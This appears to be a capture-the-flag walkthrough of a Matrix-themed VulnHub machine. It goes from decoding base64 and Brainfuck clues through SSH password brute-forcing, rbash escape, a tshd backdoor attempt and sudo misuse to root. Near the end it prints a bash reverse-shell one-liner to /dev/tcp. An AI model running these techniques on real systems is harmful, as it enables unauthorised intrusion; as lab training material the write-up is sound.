This intermediate/low level CTF is quite fun, you have to use exotic programming languages for its resolution in addition to other more traditional knowledge. We download the VirtualBox image from:
- From vulnhub
- From Alfaexploit
We start with a port scan:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
MAC Address: 08:00:27:E5:B2:AA (Oracle VirtualBox virtual NIC)
There are two web services programmed in Python, if we access via curl:
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.14
< Date: Tue, 01 Jan 2019 09:16:53 GMT
< Content-type: text/html
< Content-Length: 3998
< Last-Modified: Mon, 13 Aug 2018 08:47:27 GMT
In the response we can see the first clue:
<!-- service -->
<div class="service"><img src="assets/img/p0rt_31337.png"/ width="15">
</div><!-- End / service -->
"Follow the White Rabbit"
Welcome to the real world, Neo. I'm glad you're here
We check the new port and get a second clue:
<!-- service -->
<div class="service">
<!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p-->
Cypher
"You know.. I know this steak doesn't exist. I know when I put it in my mouth; the Matrix is telling my brain that it is juicy, and delicious. After nine years.. you know what I realize? Ignorance is bliss."
That string service_text seems to be hiding some secret, we decode it as base64:
echo “Then you’ll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
Save the output of the echo in a file called Cypher.matrix, let’s try to download it:
DirtyCow ✺ ~> cat Cypher.matrix
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<
It seems to be BrainFuck code:
https://en.wikipedia.org/wiki/Brainfuck
There is an online interpreter:
https://fatiherikli.github.io/brainfuck-visualizer/#
If we enter the code we get:
You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.
We are going to program a small script that generates all possible combinations and saves them in a txt file.
from itertools import permutations
character = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
file = open('passwords.txt','w')
for i in permutations(character, 2):
string = 'k1ll0r' + i[0] + i[1]
print string
file.write(string + '\n')
file.close()
We run it:
DirtyCow ✺ ~> wc -l passwords.txt
3782 passwords.txt
We use patator to test the ssh login using the guest username obtained earlier and the wordlist we generated:
12:27:29 patator INFO - 0 19 0.007 | k1ll0r7n | 3613 | SSH-2.0-OpenSSH_7.7
We access the server:
k1ll0r7n
guest@porteus:~$
It is a restricted shell:
-rbash: id: command not found
-rbash: /bin/ls: restricted: cannot specify `/' in command names
-rbash: /: restricted: cannot specify `/' in command names
! ]] builtin compgen declare echo eval fc getopts in ll mc pwd select suspend trap umask wait
./ alias caller complete dirs elif exec fg hash jobs local mcedit read set test true unalias while
: bg case compopt disown else exit fi help kill logout popd readarray shift then type unset {
[ bind cd continue do enable export for history la ls printf readonly shopt time typeset until }
[[ break command coproc done esac false function if let mapfile pushd return source times ulimit vi
We can enumerate files and directories with vi and tabbing:
.cache/ bin/ dev/ etc/ home/ lib/ lib64/ media/ mnt/ opt/ proc/ root/ run/ sbin/ srv/ sys/ tmp/ usr/ var/
Let’s see what other users there are:
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:/bin/false
news:x:9:13:news:/usr/lib/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:/bin/false
gdm:x:42:42:GDM:/var/lib/gdm:/sbin/nologin
oprofile:x:51:51:oprofile:/:/bin/false
usbmux:x:52:83:User for usbmux daemon:/var/empty:/bin/false
sddm:x:64:64:User for SDDM:/var/empty:/bin/false
pulse:x:65:65:User for PulseAudio:/var/run/pulse:/bin/false
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
pop:x:90:90:POP:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
guest:x:1000:100:,,,:/home/guest:/bin/rbash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
colord:x:72:72:Color Daemon Owner:/var/lib/colord:/bin/false
polkitd:x:28:28:PolicyKit Daemon Owner:/etc/polkit-1:/bin/false
trinity:x:1001:1001::/home/trinity:/bin/bash
We confirm that it is a restricted shell, specifically rbash:
/bin/rbash
Passing commands to the ssh command does allow executing other binaries:
Desktop
Documents
Downloads
Music
Pictures
Public
Videos
prog
Let’s try to install a tshd:
DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 chmod 777 /home/guest/prog/tshd
DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22
Run tshd from vi:
!:/home/guest/prog/tshd
We try to connect but something fails:
sh: line 0: exec: bash: not found
Let’s see what’s running:
root 515 0.0 2.6 81340 13300 ? S 04:16 0:19 python /tmp/server/80/80.py
root 516 1.8 2.7 81612 13836 ? S 04:16 8:24 python /tmp/server/31337/31337.py
root 587 0.0 0.6 28856 3320 ? Ss 04:16 0:00 /usr/sbin/sshd
We can see the source code but there’s nothing interesting:
guest@192.168.69.206 ’s password:
#!/usr/bin/python
import SimpleHTTPServer
import SocketServer
PORT=80
Handler=SimpleHTTPServer.SimpleHTTPRequestHandler
Handler.extensions_map.update({'.webapp.':'application/x-web-app-manifest+json',});
httpd=SocketServer.TCPServer(("",PORT),Handler)
print "Serving at port",PORT
httpd.serve_forever()
Let’s take a look at the directory:
guest@192.168.69.206 ’s password:
total 20
drwxr-xr-x 3 root root 4096 Aug 13 08:49 .
drwxr-xr-x 4 root root 4096 Aug 13 09:12 ..
-rw-r--r-- 1 root users 309 Aug 6 17:51 80.py
drwxr-xr-x 7 root root 4096 Aug 13 08:49 assets
-rw-r--r-- 1 root root 3734 Aug 13 08:49 index.html
In the other python we don’t find anything useful either:
guest@192.168.69.206 ’s password:
#!/usr/bin/python
import SimpleHTTPServer
import SocketServer
PORT=31337
Handler=SimpleHTTPServer.SimpleHTTPRequestHandler
Handler.extensions_map.update({'.webapp.':'application/x-web-app-manifest+json',});
httpd=SocketServer.TCPServer(("",PORT),Handler)
print "Serving at port",PORT
httpd.serve_forever()
guest@192.168.69.206 ’s password:
total 28
drwxr-xr-x 3 root root 4096 Aug 13 11:39 .
drwxr-xr-x 4 root root 4096 Aug 13 09:12 ..
-rw-r--r-- 1 root root 312 Aug 13 05:19 31337.py
-rw-r--r-- 1 root root 4121 Aug 13 11:36 Cypher.matrix
drwxr-xr-x 7 root root 4096 Aug 13 08:45 assets
-rw-r--r-- 1 root root 3998 Aug 13 08:47 index.html
Let’s check the allowed commands through sudo:
User guest may run the following commands on porteus:
(ALL) ALL
(root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
(trinity) NOPASSWD: /bin/cp
Wow, we can do cps like trinity, we modify the authorized keys of guest to copy it to trinity:
guest@porteus:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiF8zV98gaV87zVDwhZ8IDxUXs3Xq0NKVT1HY2t3XMjMU6/Sv6WeMeKQtJn/Py5PPXhYkOQ92in5+70WE6fQPt0shH6Hh4ZwY8lKDboLh96XLiCsxZc/IMq0h86QeT2E7FjAXcGo/2gziSYvbnp2Z+JAe5uBm4HtV3419mlEmaRAXGtjQxqcnhoUsLj4gD53ak1H/KUro+GArVDPUoMdSsqxvL0BHGbbcFOIaA3H3GwnGp09bHBNd0fR+Ip6CHRlRIu9oohezOAU+/3ul+FFbZuVlJ8zssaaFOzxjwEhD/2Ghsae3+z6tkrbhEOYN7HvBDejK9WySeI0+bMRqfSaID kr0m@DirtyCow
We access:
Last login: Mon Aug 6 16:37:45 2018 from 192.168.56.102
uid=1001(trinity) gid=1001(trinity) groups=1001(trinity)
A little bit of fingerprinting:
Slackware 14.2+
Linux porteus 4.16.3-porteus #1 SMP PREEMPT Sat Apr 21 12:42:52 Local time zone must be set-- x86_64 Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz GenuineIntel GNU/Linux
It must be this OS
Let’s see what this user can do with sudo:
User trinity may run the following commands on porteus:
(root) NOPASSWD: /home/trinity/oracle
Such file does not exist:
/bin/ls: cannot access '/home/trinity/oracle': No such file or directory
We generate it:
#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.69.3/5555 0>&1
We give it execution permissions:
We put a netcat on listening:
We give it a try:
We receive the connection:
root@porteus:/home/trinity# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)